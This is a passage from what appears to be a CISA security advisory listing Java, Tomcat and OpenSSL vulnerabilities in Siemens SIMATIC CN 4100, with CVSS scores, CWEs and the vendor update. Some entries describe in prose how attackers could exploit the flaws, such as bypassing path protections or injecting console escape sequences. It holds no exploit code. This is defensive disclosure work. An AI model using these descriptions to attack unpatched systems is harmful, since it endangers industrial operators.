<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-53057">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/284.html">CWE-284 Improper Access Control</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-53066</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-53066">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200 Exposure of Sensitive Information to an Unauthorized Actor</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-55752</a></h3>
<div class="csaf-accordion-content">
<p>Relative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-55752">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/23.html">CWE-23 Relative Path Traversal</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-55754</a></h3>
<div class="csaf-accordion-content">
<p>Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-55754">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/150.html">CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-61748</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-61748">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/284.html">CWE-284 Improper Access Control</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.7</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-61795</a></h3>
<div class="csaf-accordion-content">
<p>Improper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-61795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-2673</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-2673">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/757.html">CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21925</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21925">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21932</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21932">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.4</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21933</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21933">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21945</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21945">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
